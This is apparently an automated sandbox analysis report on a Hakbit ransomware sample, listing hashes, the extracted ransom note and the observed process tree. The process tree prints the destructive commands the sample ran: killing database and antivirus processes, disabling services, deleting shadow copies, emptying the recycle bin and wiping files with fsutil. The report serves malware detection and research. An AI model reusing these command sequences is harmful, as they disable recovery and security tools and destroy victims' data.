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Analysis

  • max time kernel
    42s
  • max time network
    221s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-07-2024 18:03

General

  • Target

    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe

  • Size

    80KB

  • MD5

    8152a3d0d76f7e968597f4f834fdfa9d

  • SHA1

    c3cf05f3f79851d3c0d4266ab77c8e3e3f88c73e

  • SHA256

    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b

  • SHA512

    eb1a18cb03131466a4152fa2f6874b70c760317148684ca9b95044e50dc9cd19316d6e68e680ce18599114ba73e75264de5dab5afe611165b9c6c0b5f01002b4

  • SSDEEP

    1536:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/suIicRtpNf8SgRXt+AacRDVX8C4OntD4acN:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/su0

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Family

hakbit

Ransom Note
To recover your data contact the email below [email protected] Key Identifier: dpT0bafasdgWGmCJIVhDohlja+eePA8jTpDbyfhWZO/f/okClHx8PB3tcmVp8jGqkV974ts7K5r/TX/3K0CrsPG36JlZ+0HgT45eGkJUiD9dq/UPUiOAceIJLCH6GUee7KEJQkdipW6aUDNRF/u6XvKKRQNYWcrnSnSTIVDJj1VeopqrWiJKh39V+o4sycZQrnRgG1q454mq9hbbkUUQ/UB2Fguxuu2aMa7TUOPzP7nSyFoCqsFDKIf81ib/xlajAdUKSES6Yz+zQ1uXWzqm6TbaHss8prhrNFJBGN7w5XqMkEpkkRE/i6fPOLlZit5v0vICwt9d1y35Awua7+8keTaG4XBSmO7fcm25a4LnQATw9sT99AwIVJWPCsZGjNXzD4CS1oMXhyCQFjbjOhLwIz5pCxvMSs3fwHM2Jpnm3OhFTbjIC32I06/pwyuz1ivuCaXOAuqhm4bMoVwDccmiZRoJRWG/BA0KS9MuGXCRwlpsg4KpKaUtSxaTe3egX4/y/8Mn1acLXomnSAxgzCK4YcZK84WlfYV/c0ZqcHmxWbjmu7w7CEZidZiSDA1l3woKRjGYB/XfxhERK09oS8UftUqyMkOZG0dR2slatQFJAxKqzq+I3TNDCe5kI5w6bkLvjXo0N3A5BNGGz/1kFcNQ9dlTfK+YVnqpeQe/146787c= Number of files that were processed is: 424

Signatures

  • Disables service(s) 3 TTPs
  • Hakbit

    Ransomware which encrypts files using AES, first seen in November 2019.

  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Kills process with taskkill 47 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
    "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2128
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
      2⤵
        PID:4860
      • C:\Windows\SYSTEM32\sc.exe
        "sc.exe" config SQLTELEMETRY start= disabled
        2⤵
        • Launches sc.exe
        PID:3772
      • C:\Windows\SYSTEM32\sc.exe
        "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
        2⤵
        • Launches sc.exe
        PID:3584
      • C:\Windows\SYSTEM32\sc.exe
        "sc.exe" config SQLWriter start= disabled
        2⤵
        • Launches sc.exe
        PID:1520
      • C:\Windows\SYSTEM32\sc.exe
        "sc.exe" config SstpSvc start= disabled
        2⤵
        • Launches sc.exe
        PID:1700
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mspub.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:644
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mydesktopqos.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3104
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mydesktopservice.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3308
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mysqld.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3348
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqbcoreservice.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4164
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM firefoxconfig.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3472
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM agntsvc.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:260
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM thebat.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3448
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM steam.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3056
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM encsvc.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3976
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM excel.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3632
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM CNTAoSMgr.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3664
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlwriter.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3876
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM tbirdconfig.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1084
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM dbeng50.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4632
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM thebat64.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1328
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM ocomm.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3284
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM infopath.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2568
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mbamtray.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3636
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM zoolz.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4760
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" IM thunderbird.exe /F
        2⤵
        • Kills process with taskkill
        PID:1172
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM dbsnmp.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1976
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM xfssvccon.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1136
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mspub.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2264
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM Ntrtscan.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2204
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM isqlplussvc.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4784
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM onenote.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1156
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM PccNTMon.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4916
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM msaccess.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:656
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM outlook.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:748
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM tmlisten.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3868
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM msftesql.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1592
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM powerpnt.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3552
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mydesktopqos.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3964
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM visio.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1376
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mydesktopservice.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4216
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM winword.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1692
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mysqld-nt.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4992
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM wordpad.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2648
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mysqld-opt.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:560
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM ocautoupds.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2228
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM ocssd.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1944
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM oracle.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3360
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlagent.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1160
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlbrowser.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2544
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlservr.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2712
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM synctime.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1684
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
        2⤵
          PID:3580
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
          2⤵
          • Opens file in notepad (likely ransom note)
          PID:6564
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
          2⤵
            PID:6540
            • C:\Windows\system32\PING.EXE
              ping 127.0.0.7 -n 3
              3⤵
              • Runs ping.exe
              PID:5608
            • C:\Windows\system32\fsutil.exe
              fsutil file setZeroData offset=0 length=524288 “%s”
              3⤵
                PID:5988
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
              2⤵
                PID:3500
                • C:\Windows\system32\choice.exe
                  choice /C Y /N /D Y /T 3
                  3⤵
                    PID:6844

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\ProgramData\Microsoft\Network\Downloader\edbtmp.log
                Filesize

                1.3MB

                MD5

                5124da711bd9e1da0e52e2163a82cd42

                SHA1

                956a4d508a884c6acac3a0c93d43d63abbc6fdfc

                SHA256

                04172f2e6bc5b91895137551829979f1b127955827e518fda28897fc5ea49a08

                SHA512

                6a6a20af169db9eeed1981102e832514ddb878e9d36e8c3fbf9e506b0730f2f308b2d3049e1d37fc23a7f94144b9efcf7f8d0ded972c9fd33bdf56cff01bf429

              • C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]
                Filesize

                180KB

                MD5

                b97db2caf088453e0fb34ef22db75246

                SHA1

                b5d8493bd93dab339360f0769732c6e16c52ab6f

                SHA256

                5d533526321ce8a3a5d135ae195832b219c153ca7302344dd0b3c47f2bbc182a

                SHA512

                dca229d4956e7ade4e649e1fec1c171ba08182cebbdef08c5a0d20291bda185cf74f0de4b26bc7e242e561b7c5802deb850d25248a1404df29ecc8baf4b6667d

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                Filesize

                2KB

                MD5

                d85ba6ff808d9e5444a4b369f5bc2730

                SHA1

                31aa9d96590fff6981b315e0b391b575e4c0804a

                SHA256

                84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                SHA512

                8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                944B

                MD5

                62623d22bd9e037191765d5083ce16a3

                SHA1

                4a07da6872672f715a4780513d95ed8ddeefd259

                SHA256

                95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

                SHA512

                9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5ughkokj.tao.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
                Filesize

                828B

                MD5

                4b29e8a46f40ba3d61766ededdbf85ff

                SHA1

                c33600fad907752780a42105889c75ed86bc2172

                SHA256

                ee4cfa612b46e5055a12e4a4f69e275655ca6f20e4888c4052ff329569396c6a

                SHA512

                a9ec747232a87be365b13edd0cc05d31b16f516b46d61dc33804b46697fdad679bcdf7f74862d6df09e3566d02d5e41f4fcdb191d31e8ad9c943ba060a8fd3a5

              • memory/2128-12-0x00007FFA36590000-0x00007FFA37051000-memory.dmp
                Filesize

                10.8MB

              • memory/2128-104-0x00007FFA36593000-0x00007FFA36595000-memory.dmp
                Filesize

                8KB

              • memory/2128-0-0x00007FFA36593000-0x00007FFA36595000-memory.dmp
                Filesize

                8KB

              • memory/2128-159-0x00007FFA36590000-0x00007FFA37051000-memory.dmp
                Filesize

                10.8MB

              • memory/2128-1-0x0000000000480000-0x000000000049A000-memory.dmp
                Filesize

                104KB

              • memory/2128-600-0x00007FFA36590000-0x00007FFA37051000-memory.dmp
                Filesize

                10.8MB

              • memory/3580-11-0x000002283DB10000-0x000002283DB32000-memory.dmp
                Filesize

                136KB